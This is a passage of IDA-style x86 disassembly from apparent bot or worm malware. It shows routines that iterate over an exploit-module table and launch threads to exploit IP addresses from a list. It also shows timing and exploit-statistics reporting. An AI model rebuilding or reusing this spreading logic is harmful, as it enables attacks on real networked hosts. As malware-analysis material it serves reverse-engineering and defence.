		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4135BA
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		mov	[ebp+var_358], eax
		push	3Ah
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_341]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_296], 0
		lea	eax, [ebp+var_341]
		push	eax
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4135BF
; ---------------------------------------------------------------------------

loc_4135BA:				; CODE XREF: sub_41349C+B0j
		jmp	loc_4134FE
; ---------------------------------------------------------------------------

loc_4135BF:				; CODE XREF: sub_41349C+54j
					; sub_41349C+11Cj
		lea	eax, [ebp+var_624]
		push	eax
		call	sub_40806A
		pop	ecx
		test	eax, eax
		jnz	short loc_4135E3
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------

loc_4135E3:				; CODE XREF: sub_41349C+132j
		mov	al, byte_41DE30
		mov	[ebp+var_20C], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_20B]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE30
		mov	[ebp+var_108], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_107]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41364D
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------

loc_41364D:				; CODE XREF: sub_41349C+19Cj
		push	[ebp+var_506]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413675
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------

loc_413675:				; CODE XREF: sub_41349C+1C4j
		cmp	[ebp+var_358], 0
		jz	loc_413782
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413782
		call	sub_4042FB
		mov	[ebp+var_644], eax
		cmp	[ebp+var_644], 0
		jz	short loc_4136B6
		mov	[ebp+var_296], 2
		jmp	short loc_4136C0
; ---------------------------------------------------------------------------

loc_4136B6:				; CODE XREF: sub_41349C+20Cj
		mov	[ebp+var_296], 3

loc_4136C0:				; CODE XREF: sub_41349C+218j
		movsx	eax, [ebp+var_36B]
		test	eax, eax
		jz	short loc_4136E5
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_4136E5
		mov	[ebp+var_296], 1

loc_4136E5:				; CODE XREF: sub_41349C+22Dj
					; sub_41349C+23Dj
		movsx	eax, [ebp+var_37B]
		test	eax, eax
		jz	short loc_4136FA
		mov	[ebp+var_296], 2

loc_4136FA:				; CODE XREF: sub_41349C+252j
		movsx	eax, [ebp+var_37A]
		test	eax, eax
		jz	short loc_41370F
		mov	[ebp+var_296], 3

loc_41370F:				; CODE XREF: sub_41349C+267j
		cmp	[ebp+var_296], 3
		jnz	short loc_41372B
		cmp	[ebp+var_644], 0
		jz	short loc_41372B
		mov	[ebp+var_296], 2

loc_41372B:				; CODE XREF: sub_41349C+27Aj
					; sub_41349C+283j
		cmp	[ebp+var_296], 3
		jnz	short loc_413782
		mov	al, [ebp+var_36A]
		mov	[ebp+var_64C], al
		mov	al, [ebp+var_377]
		mov	[ebp+var_648], al
		mov	[ebp+var_36A], 1
		and	[ebp+var_377], 0
		push	0
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_64C]
		mov	[ebp+var_36A], al
		mov	al, [ebp+var_648]
		mov	[ebp+var_377], al

loc_413782:				; CODE XREF: sub_41349C+1E0j
					; sub_41349C+1F4j ...
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset dword_41CE78
		mov	eax, [ebp+var_628]
		add	eax, 14h
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 14h
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		mov	eax, [ebp+var_628]
		push	dword ptr [eax]
		push	offset dword_41CE40
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		cmp	[ebp+var_358], 0
		jnz	short loc_413807
		push	3E8h
		call	dword_41709C	; Sleep

loc_413807:				; CODE XREF: sub_41349C+35Ej
		and	[ebp+var_10C], 0
		call	sub_416B64	; clock
		mov	[ebp+var_35C], eax
		and	[ebp+var_4], 0

loc_41381D:				; CODE XREF: sub_41349C+3F9j
					; sub_41349C+44Bj ...
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_413847
		call	sub_416B64	; clock
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jb	short loc_41384C

loc_413847:				; CODE XREF: sub_41349C+38Bj
		jmp	loc_413A43
; ---------------------------------------------------------------------------

loc_41384C:				; CODE XREF: sub_41349C+3A9j
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		push	offset dword_41EF48
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413897
		jmp	short loc_41381D
; ---------------------------------------------------------------------------

loc_413897:				; CODE XREF: sub_41349C+3F7j
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_650], eax
		cmp	[ebp+var_650], 0
		jz	short loc_4138EC
		call	sub_416B64	; clock
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jnb	short loc_4138EC
		jmp	loc_41381D
; ---------------------------------------------------------------------------

loc_4138EC:				; CODE XREF: sub_41349C+42Bj
					; sub_41349C+449j
		push	[ebp+var_50A]
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_413A35

loc_413909:				; CODE XREF: sub_41349C+4BAj
					; sub_41349C:loc_413A30j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_654], eax
		cmp	[ebp+var_654], 0
		jnz	short loc_413926
		jmp	loc_413A35
; ---------------------------------------------------------------------------

loc_413926:				; CODE XREF: sub_41349C+483j
		mov	eax, [ebp+var_10C]
		inc	eax
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_358], 0
		jz	short loc_4139B7
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_658], eax
		cmp	[ebp+var_658], 0
		jnz	short loc_413958
		jmp	short loc_413909
; ---------------------------------------------------------------------------

loc_413958:				; CODE XREF: sub_41349C+4B8j
		push	14Ch
		lea	eax, [ebp+var_358]
		push	eax
		push	[ebp+var_658]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_658]
		mov	ecx, [ebp+var_654]
		mov	[eax+3Eh], ecx
		push	[ebp+var_658]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4139A5
		push	[ebp+var_658]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------

loc_4139A5:				; CODE XREF: sub_41349C+4F9j
		push	[ebp+var_8]
		push	[ebp+var_654]
		call	sub_404D9B
		pop	ecx
		pop	ecx

loc_4139B5:				; CODE XREF: sub_41349C+507j
		jmp	short loc_413A30
; ---------------------------------------------------------------------------

loc_4139B7:				; CODE XREF: sub_41349C+49Ej
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4139C5
		jmp	short loc_413A35
; ---------------------------------------------------------------------------

loc_4139C5:				; CODE XREF: sub_41349C+525j
		lea	eax, [ebp+var_75C]
		push	eax
		push	[ebp+var_654]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_36A]
		mov	[ebp+var_65C], al
		and	[ebp+var_36A], 0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_75C]
		push	eax
		push	offset dword_41CE2C
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_65C]
		mov	[ebp+var_36A], al
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_4]
		add	eax, 3E8h
		mov	[ebp+var_4], eax

loc_413A30:				; CODE XREF: sub_41349C:loc_4139B5j
		jmp	loc_413909
; ---------------------------------------------------------------------------

loc_413A35:				; CODE XREF: sub_41349C+467j
					; sub_41349C+485j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_41381D
; ---------------------------------------------------------------------------

loc_413A43:				; CODE XREF: sub_41349C:loc_413847j
		push	[ebp+var_10C]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_35C]
		mov	dword ptr [ebp+var_764], eax
		and	dword ptr [ebp+var_764+4], 0
		fild	[ebp+var_764]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+774h+var_774]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset unk_41CDE8
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax

loc_413AAB:				; CODE XREF: sub_41349C+142j
					; sub_41349C+1ACj ...
		pop	edi
		leave
		retn	4
sub_41349C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AB0	proc near		; CODE XREF: sub_40A9CF+BCBp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		cmp	[ebp+arg_4], 0
		jz	short loc_413AC2
		cmp	[ebp+arg_8], 0
		jnz	short loc_413AC7

loc_413AC2:				; CODE XREF: sub_413AB0+Aj
		jmp	locret_413CB1
; ---------------------------------------------------------------------------

loc_413AC7:				; CODE XREF: sub_413AB0+10j
		push	[ebp+arg_8]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_413AEB
		push	[ebp+arg_8]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_413AE9
		jmp	locret_413CB1
; ---------------------------------------------------------------------------

loc_413AE9:				; CODE XREF: sub_413AB0+32j
		jmp	short loc_413B45
; ---------------------------------------------------------------------------

loc_413AEB:				; CODE XREF: sub_413AB0+25j
		and	[ebp+var_14], 0
		jmp	short loc_413AF8
; ---------------------------------------------------------------------------

loc_413AF1:				; CODE XREF: sub_413AB0:loc_413B43j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax

loc_413AF8:				; CODE XREF: sub_413AB0+3Fj
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		movsx	eax, byte_41CCD0[eax]
		test	eax, eax
		jnz	short loc_413B0E
		jmp	locret_413CB1
; ---------------------------------------------------------------------------

loc_413B0E:				; CODE XREF: sub_413AB0+57j
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413B43
		jmp	short loc_413B45
; ---------------------------------------------------------------------------

loc_413B43:				; CODE XREF: sub_413AB0+8Fj
		jmp	short loc_413AF1
; ---------------------------------------------------------------------------

loc_413B45:				; CODE XREF: sub_413AB0:loc_413AE9j
					; sub_413AB0+91j
		cmp	[ebp+arg_C], 0
		jz	short loc_413B59
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_2C], eax
		jmp	short loc_413B60
; ---------------------------------------------------------------------------

loc_413B59:				; CODE XREF: sub_413AB0+99j
		mov	[ebp+var_2C], 15180h

loc_413B60:				; CODE XREF: sub_413AB0+A7j
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_413B75
		cmp	[ebp+var_4], 15180h
		jbe	short loc_413B7C

loc_413B75:				; CODE XREF: sub_413AB0+BAj
		mov	[ebp+var_4], 15180h

loc_413B7C:				; CODE XREF: sub_413AB0+C3j
		cmp	[ebp+arg_10], 0
		jz	short loc_413B90
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_30], eax
		jmp	short loc_413B97
; ---------------------------------------------------------------------------

loc_413B90:				; CODE XREF: sub_413AB0+D0j
		mov	[ebp+var_30], 7D0h

loc_413B97:				; CODE XREF: sub_413AB0+DEj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 32h
		jb	short loc_413BAC
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_413BB3

loc_413BAC:				; CODE XREF: sub_413AB0+F1j
		mov	[ebp+var_C], 7D0h

loc_413BB3:				; CODE XREF: sub_413AB0+FAj
		cmp	[ebp+arg_14], 0
		jz	short loc_413BC7
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_34], eax
		jmp	short loc_413BCE
; ---------------------------------------------------------------------------

loc_413BC7:				; CODE XREF: sub_413AB0+107j
		mov	[ebp+var_34], 100h

loc_413BCE:				; CODE XREF: sub_413AB0+115j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_413BE3
		cmp	[ebp+var_10], 200h
		jbe	short loc_413BEA

loc_413BE3:				; CODE XREF: sub_413AB0+128j
		mov	[ebp+var_10], 100h

loc_413BEA:				; CODE XREF: sub_413AB0+131j
		push	2C9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413C03
		jmp	locret_413CB1
; ---------------------------------------------------------------------------

loc_413C03:				; CODE XREF: sub_413AB0+14Cj
		push	108h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	0Eh
		push	[ebp+arg_8]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+11Ah], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+11Eh], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		mov	[eax+122h], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 126h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_10]
		push	[ebp+var_C]
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+11Ah]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	offset unk_41CEA4
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_41349C
		call	sub_4095A4
		add	esp, 24h

locret_413CB1:				; CODE XREF: sub_413AB0:loc_413AC2j
					; sub_413AB0+34j ...
		leave
		retn
sub_413AB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CB3	proc near		; DATA XREF: sub_413FE7+5Co

var_49C		= dword	ptr -49Ch
var_498		= byte ptr -498h
var_494		= byte ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_469		= byte ptr -469h
var_3BE		= dword	ptr -3BEh
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= byte ptr -32Ch
var_1AC		= byte ptr -1ACh
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_21		= byte ptr -21h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset unk_41CF50
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_334], 0
		and	[ebp+var_484], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax

loc_413D21:				; CODE XREF: sub_413CB3:loc_413FA8j
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		and	[ebp+var_488], 0
		jmp	short loc_413D44
; ---------------------------------------------------------------------------

loc_413D37:				; CODE XREF: sub_413CB3+23Bj
					; sub_413CB3:loc_413F77j
		mov	eax, [ebp+var_488]
		inc	eax
		mov	[ebp+var_488], eax

loc_413D44:				; CODE XREF: sub_413CB3+82j
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		cmp	off_41CCFE[eax], 0
		jz	loc_413F7C
		push	3Ah
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		push	eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		mov	[ebp+var_480], eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_469]
		push	eax
		call	sub_4105FB
		pop	ecx
		cmp	[ebp+var_480], 0
		jz	loc_413E9A
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413E9A
		call	sub_4042FB
		mov	[ebp+var_490], eax
		cmp	[ebp+var_490], 0
		jz	short loc_413DE9
		mov	[ebp+var_3BE], 2
		jmp	short loc_413DF3
; ---------------------------------------------------------------------------

loc_413DE9:				; CODE XREF: sub_413CB3+128j
		mov	[ebp+var_3BE], 3

loc_413DF3:				; CODE XREF: sub_413CB3+134j
		movsx	eax, [ebp+var_15]
		test	eax, eax
		jz	short loc_413E15
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_413E15
		mov	[ebp+var_3BE], 1

loc_413E15:				; CODE XREF: sub_413CB3+146j
					; sub_413CB3+156j
		movsx	eax, [ebp+var_25]
		test	eax, eax
		jz	short loc_413E27
		mov	[ebp+var_3BE], 2

loc_413E27:				; CODE XREF: sub_413CB3+168j
		movsx	eax, [ebp+var_24]
		test	eax, eax
		jz	short loc_413E39
		mov	[ebp+var_3BE], 3

loc_413E39:				; CODE XREF: sub_413CB3+17Aj
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E55
		cmp	[ebp+var_490], 0
		jz	short loc_413E55
		mov	[ebp+var_3BE], 2

loc_413E55:				; CODE XREF: sub_413CB3+18Dj
					; sub_413CB3+196j
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E9A
		mov	al, [ebp+var_14]
		mov	[ebp+var_498], al
		mov	al, [ebp+var_21]
		mov	[ebp+var_494], al
		mov	[ebp+var_14], 1
		and	[ebp+var_21], 0
		push	0
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_498]
		mov	[ebp+var_14], al
		mov	al, [ebp+var_494]
		mov	[ebp+var_21], al

loc_413E9A:				; CODE XREF: sub_413CB3+FCj
					; sub_413CB3+110j ...
		movsx	eax, [ebp+var_13]
		neg	eax
		sbb	eax, eax
		and	eax, 1388h
		add	eax, 1388h
		push	eax
		push	0
		lea	eax, [ebp+var_469]
		push	eax
		push	[ebp+var_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_48C], eax
		cmp	[ebp+var_48C], 0
		jz	loc_413F77
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_49C], eax
		cmp	[ebp+var_49C], 0
		jnz	short loc_413EF3
		jmp	loc_413D37
; ---------------------------------------------------------------------------

loc_413EF3:				; CODE XREF: sub_413CB3+239j
		push	14Ch
		lea	eax, [ebp+var_480]
		push	eax
		push	[ebp+var_49C]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_484]
		inc	eax
		mov	[ebp+var_484], eax
		mov	eax, [ebp+var_49C]
		mov	ecx, [ebp+var_48C]
		mov	[eax+3Eh], ecx
		push	[ebp+var_49C]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413F59
		push	[ebp+var_48C]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_49C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_413F77
; ---------------------------------------------------------------------------

loc_413F59:				; CODE XREF: sub_413CB3+28Aj
		lea	eax, [ebp+var_47C]
		push	eax
		push	[ebp+var_8]
		push	offset dword_41CF20
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_413F77:				; CODE XREF: sub_413CB3+21Bj
					; sub_413CB3+2A4j
		jmp	loc_413D37
; ---------------------------------------------------------------------------

loc_413F7C:				; CODE XREF: sub_413CB3+A1j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413F9A
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------

loc_413F9A:				; CODE XREF: sub_413CB3+2E3j
		mov	eax, [ebp+var_330]
		cmp	dword ptr [eax+4], 0
		jz	short loc_413FA8
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------

loc_413FA8:				; CODE XREF: sub_413CB3+2F1j
		jmp	loc_413D21
; ---------------------------------------------------------------------------

loc_413FAD:				; CODE XREF: sub_413CB3+2E5j
					; sub_413CB3+2F3j
		push	[ebp+var_334]
		push	[ebp+var_484]
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset dword_41CEDC
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	[ebp+var_330]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_413CB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FE7	proc near		; CODE XREF: sub_40A9CF+B5Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_413FF3
		jmp	short locret_414050
; ---------------------------------------------------------------------------

loc_413FF3:				; CODE XREF: sub_413FE7+8j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414009
		jmp	short locret_414050
; ---------------------------------------------------------------------------

loc_414009:				; CODE XREF: sub_413FE7+1Ej
		push	180h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset aAttemptingToEx ; "Attempting to	exploit	IP's in list."
		push	0
		push	[ebp+var_4]
		push	offset sub_413CB3
		call	sub_4095A4
		add	esp, 10h

locret_414050:				; CODE XREF: sub_413FE7+Aj
					; sub_413FE7+20j
		leave
		retn
sub_413FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414052	proc near		; DATA XREF: sub_41417D+35o

var_3C0		= dword	ptr -3C0h
var_3BC		= byte ptr -3BCh
var_225		= byte ptr -225h
var_224		= byte ptr -224h
var_218		= byte ptr -218h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3C0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	offset aExploitStatist ; "Exploit statistics - "
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_204], 0
		jmp	short loc_4140A4
; ---------------------------------------------------------------------------

loc_414097:				; CODE XREF: sub_414052:loc_41414Aj
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax

loc_4140A4:				; CODE XREF: sub_414052+43j
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		movsx	eax, byte_41CCD0[eax]
		test	eax, eax
		jz	loc_41414F
		push	12h
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		push	dword_41CCFA[eax]
		push	offset dword_41CFA4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		movsx	eax, [ebp+var_225]
		test	eax, eax
		jz	short loc_41414A
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		and	dword_41CCFA[eax], 0

loc_41414A:				; CODE XREF: sub_414052+E6j
		jmp	loc_414097
; ---------------------------------------------------------------------------

loc_41414F:				; CODE XREF: sub_414052+64j
		and	[ebp+var_224], 0
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		push	[ebp+var_3C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_414052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41417D	proc near		; CODE XREF: sub_40A9CF+BF4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414197
		jmp	short locret_4141BF
; ---------------------------------------------------------------------------

loc_414197:				; CODE XREF: sub_41417D+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingExploit ; "Listing exploit statistics"
		push	0
